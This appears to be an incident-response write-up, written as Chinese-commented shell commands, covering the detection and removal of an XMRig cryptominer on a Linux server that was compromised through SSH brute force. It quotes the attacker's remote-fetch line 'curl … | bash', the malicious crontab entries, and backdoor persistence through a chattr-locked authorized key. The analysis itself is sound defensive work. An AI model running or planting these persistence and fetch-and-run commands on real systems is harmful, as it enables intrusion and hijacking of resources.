ps aux --sort=-%cpu | head -20     # 按 CPU 排序找大户
sar -q | tail -15                  # sysstat 历史负载，回答"之前是不是真的卡"
ps axo pid,stat,cmd | awk '$2 ~ /D|Z/'   # 排除不可中断/僵尸进程

ls -l /proc/1194/exe /proc/1194/cwd
# exe -> /var/tmp/71bb495c/c572e6c1   ← 隐藏目录 + 随机名，经典矿马落点
tr '\0' ' ' < /proc/1194/cmdline      # 命令行只有进程名自己，无参数

crontab -l        # 发现 4 条恶意任务
ss -tnp | grep ESTAB

@daily   /var/tmp/71bb495c/./3fdcbbb5 > /dev/null 2>&1 & disown
@reboot  /var/tmp/71bb495c/./3fdcbbb5 > /dev/null 2>&1 & disown
* * * * * /var/tmp/71bb495c/./3fdcbbb5 > /dev/null 2>&1 & disown
@monthly /var/tmp/71bb495c/./3fdcbbb5 > /dev/null 2>&1 & disown

import re
pid = 1194
maps = []
for l in open(f'/proc/{pid}/maps'):
    p = l.split()
    if 'r' not in p[1]: continue          # 只扫可读段
    s, e = p[0].split('-')
    maps.append((int(s,16), int(e,16)))
mem = open(f'/proc/{pid}/mem','rb',0)
pools, wallets = set(), set()
for s,e in maps:
    try:
        mem.seek(s); data = mem.read(e-s)
    except Exception: continue
    pools.update(re.findall(rb'stratum[+a-zA-Z]*://[\x21-\x7e]{5,120}', data))
    wallets.update(re.findall(rb'\b[48][1-9A-HJ-NP-Za-km-z]{94}\b', data))
print(pools); print(wallets)

[初始入侵] SSH root 密码爆破成功（22 端口公网暴露，auth.log 中可见持续爆破）
    │
[驻留①] /etc/systemd/system/myservices.service（伪装名，Restart=always 每30分钟拉起）
    │         └─ ExecStart=/bin/bash /usr/bin/ssshd   ← 三个s，伪装 sshd
    │              └─ curl -s 195.24.237.240/.x/black3 | bash
    │                 （备用域：digital.digitaldatainsights.org）
    │
[驻留②] root crontab 四条定时任务 → 投放器 3fdcbbb5（UPX 加壳）
    │         └─ 每次运行：新随机目录部署 + 改写 crontab 路径 + 守护矿机
    │
[变现] c572e6c1 = 加壳 XMRig → supportxmr.com → 攻击者 XMR 钱包
    │
[保险丝] /root/.ssh/authorized_keys 注入公钥 "ElPatrono1337"
           └─ chattr +ia 上锁防删（immutable + append-only）

# 1. 取证备份（清空前留底）
crontab -l > /tmp/opencode/crontab.evidence.bak
cp /root/.ssh/authorized_keys /tmp/opencode/authorized_keys.evidence.bak

# 2. 断持久化①：清空 root crontab（其他用户 crontab 与 /etc/cron.d 已逐一核查干净）
echo '# miner cleanup' | crontab -

# 3. 杀进程（见下方踩坑说明）
pkill -9 -f 'c572e6c1|3fdcbbb5'

# 4. 删投放物
rm -rf /var/tmp/e2d1af92 /var/tmp/71bb495c /var/tmp/e42d600e /var/tmp/67c3a59d

# 5. 断持久化②：拆除假 sshd 服务
systemctl stop myservices.service && systemctl disable myservices.service
rm -f /etc/systemd/system/myservices.service /usr/lib/systemd/system/myservices.service
systemctl daemon-reload
rm -f /usr/bin/ssshd

# 6. 断保险丝：解锁并移除后门公钥
chattr -ia /root/.ssh/authorized_keys
grep -v 'ElPatrono1337' /root/.ssh/authorized_keys > ak.new   # 过滤而非整删，防止误伤自有key
# （本例过滤后为空，且确认用户全部为密码登录，故整个文件删除）

# 7. daemon-reload 后复查 systemd 单元已消失
systemctl status myservices.service   # → Unit could not be found ✓

pkill -9 -x c572e6c1            # -x 精确匹配进程名
# 或
kill -9 $(pgrep -x c572e6c1)

ps axo pid,cmd | grep -E 'c572|ssshd' | grep -v grep   # 无残留进程
ss -tnp | grep '85.11.167.190'                         # 矿池连接消失
uptime                                                 # load: 7.53 → 0.94（几分钟内）
sar -u 1 2                                             # CPU 空闲率回升到 85%
grep -rl '195.24.237.240\|ElPatrono1337\|3fdcbbb5' /etc /usr/local/bin /opt /root  # 全盘无残留引用